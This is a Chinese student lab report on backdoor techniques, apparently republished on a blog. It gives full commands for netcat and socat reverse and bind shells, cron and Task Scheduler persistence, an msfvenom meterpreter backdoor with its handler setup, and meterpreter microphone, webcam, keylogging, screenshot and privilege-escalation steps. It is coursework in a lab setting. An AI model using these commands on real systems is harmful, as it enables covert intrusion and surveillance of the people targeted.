2018-2019-2 网络对抗技术 20165332 Exp2 后门原理与实践

本文介绍了一项网络对抗技术实验,包括使用netcat和socat获取主机Shell、利用MSFmeterpreter生成后门程序并获取目标主机的音频、摄像头等敏感信息。实验还涉及了后门程序的启动方式和检测方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2018-2019-2 网络对抗技术 20165332 Exp2 后门原理与实践

- 实验内容

任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

- 基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
捆绑在软件中
注入在可执行文件里
注入在office文件的宏里面
(2)例举你知道的后门如何启动起来(win及linux)的方式?
更改名字伪装成其他程序
Linux可以使用cron启动
Windows下通过任务计划来启动后门程序
(3)Meterpreter有哪些给你映像深刻的功能?
获取摄像头权限进行拍照
获取麦克风权限进行录音
(4)如何发现自己有系统有没有被安装后门?
杀毒软件进行扫描,没做过免杀的直接就能被扫出来
观察进程以及端口,看看有没有异常

实践过程记录

1、实验前的连接和准备工作

在Windows下使用ipconfig查看本机IP
1301336-20190323190842540-804658486.png

使用ncat.exe程序打开监听ncat.exe -l -p 5332
1301336-20190323190854725-137260651.png

在kali中反弹连接Windows,netcat 192.168.1.156 5332 -e /bin/sh,使用-e选项执行shell程序
1301336-20190323190906414-1937679367.png

Windows成功获得kali的shell
1301336-20190323191016840-140495262.png

Linux获得Windows Shell
在kali中使用ifconfig查看IP
1301336-20190323191103481-732934051.png

打开监听nc -l -p 5332
1301336-20190323191108126-791465835.png
在Windows中反弹连接kali

1301336-20190323191249309-1646894146.png

kali成功获得Windows的命令提示
1301336-20190323191259182-297682225.png

使用nc传输数据

Windows下监听5332端口,ncat.exe -l 5332
kali反弹连接到Windows的5332端口,nc 192.168.1.156 5332
连接建立成功,双方可以相互传输数据
1301336-20190323191354429-421929936.png

1301336-20190323191359449-1386908794.png

使用nc传输文件

Windows下监听5332端口,并把收到的数据保存到file1.out中,ncat.exe -l 5332 > file1.out
1301336-20190323191559102-240814850.png

kali反弹连接到Windows的5332端口,nc 192.168.1.156 5332 < file1.in
1301336-20190323191432163-946341619.png
连接建立成功,Win可以收到kali发来的文件。
1301336-20190323191604445-1280322314.png

2、开始实验任务

任务一:使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下,监听5332端口。
在Kali环境下,用crontab -e指令编辑一条定时任务。
在最后一行添加57 * * * * /bin/netcat 192.168.1.156 5332 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的5332端口。
1301336-20190323191723271-118618112.png
1301336-20190323191732849-1574409516.png
时间到达57分钟时反向连接Windows主机的5332端口
实验一完成。

任务二:使用socat获取主机操作Shell, 任务计划启动

socat:

  • socat是ncat的增强版,它使用的格式是socat [options]
    ,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

    搜索打开“计算机管理”
    在“任务计划程序”中“创建任务”
    填写任务名->新建一个触发器
    1301336-20190323191940145-16859244.png
    在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5332 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5332,同时把cmd.exe的stderr重定向到stdout上:
    1301336-20190323192016263-1045715307.png

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
1301336-20190323192028166-1500467576.png

此时,在Kali环境下输入指令socat - tcp:192.168.1.156:5332,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5332端口,此时可以发现已经成功获得了一个cmd shell
1301336-20190323192110296-474157874.png

第二个任务完成。

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell


在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5332 -f exe > 20165332_backdoor.exe,可见已经生成了后门程序“20165332_backdoor.exe”
1301336-20190323192144752-1587451128.png

在Windows下执行ncat.exe -l 5332 > 20165332_backdoor.exe,这样被控主机就进入了接收文件模式。
1301336-20190323192152805-453536695.png


在Linux中执行nc 192.168.1.156 5332 < 20165332_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功,如下图所示
1301336-20190323192213553-267963030.png

在Kali上使用msfconsole指令进入msf控制台。
1301336-20190323192319844-287803134.png

输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.1.155,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5332,同样要使用相同的端口
1301336-20190323192402381-994089046.png

运行Windows下的后门程序
1301336-20190323192411226-726495898.png

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
1301336-20190323192421197-1165621198.png

第三个任务完成。

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权


使用record_mic指令可以截获一段音频。
1301336-20190323192522044-468951680.png

使用webcam_snap指令可以使用摄像头进行拍照
1301336-20190323192531252-782624700.png

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
1301336-20190323192542364-1336154668.png

使用screenshot指令可以进行截屏,效果如下:
1301336-20190323192552460-2142573664.png

先使用getuid指令查看当前用户,使用getsystem指令进行提权
1301336-20190323192617900-496642329.png

第四个任务完成。

实验遇到的问题及解决方法:

由于未关闭安全管家,导致传送的后门文件被自动删除,关闭安全管家后问题解决

转载于:https://www.cnblogs.com/yyzzuishuai/p/10585211.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值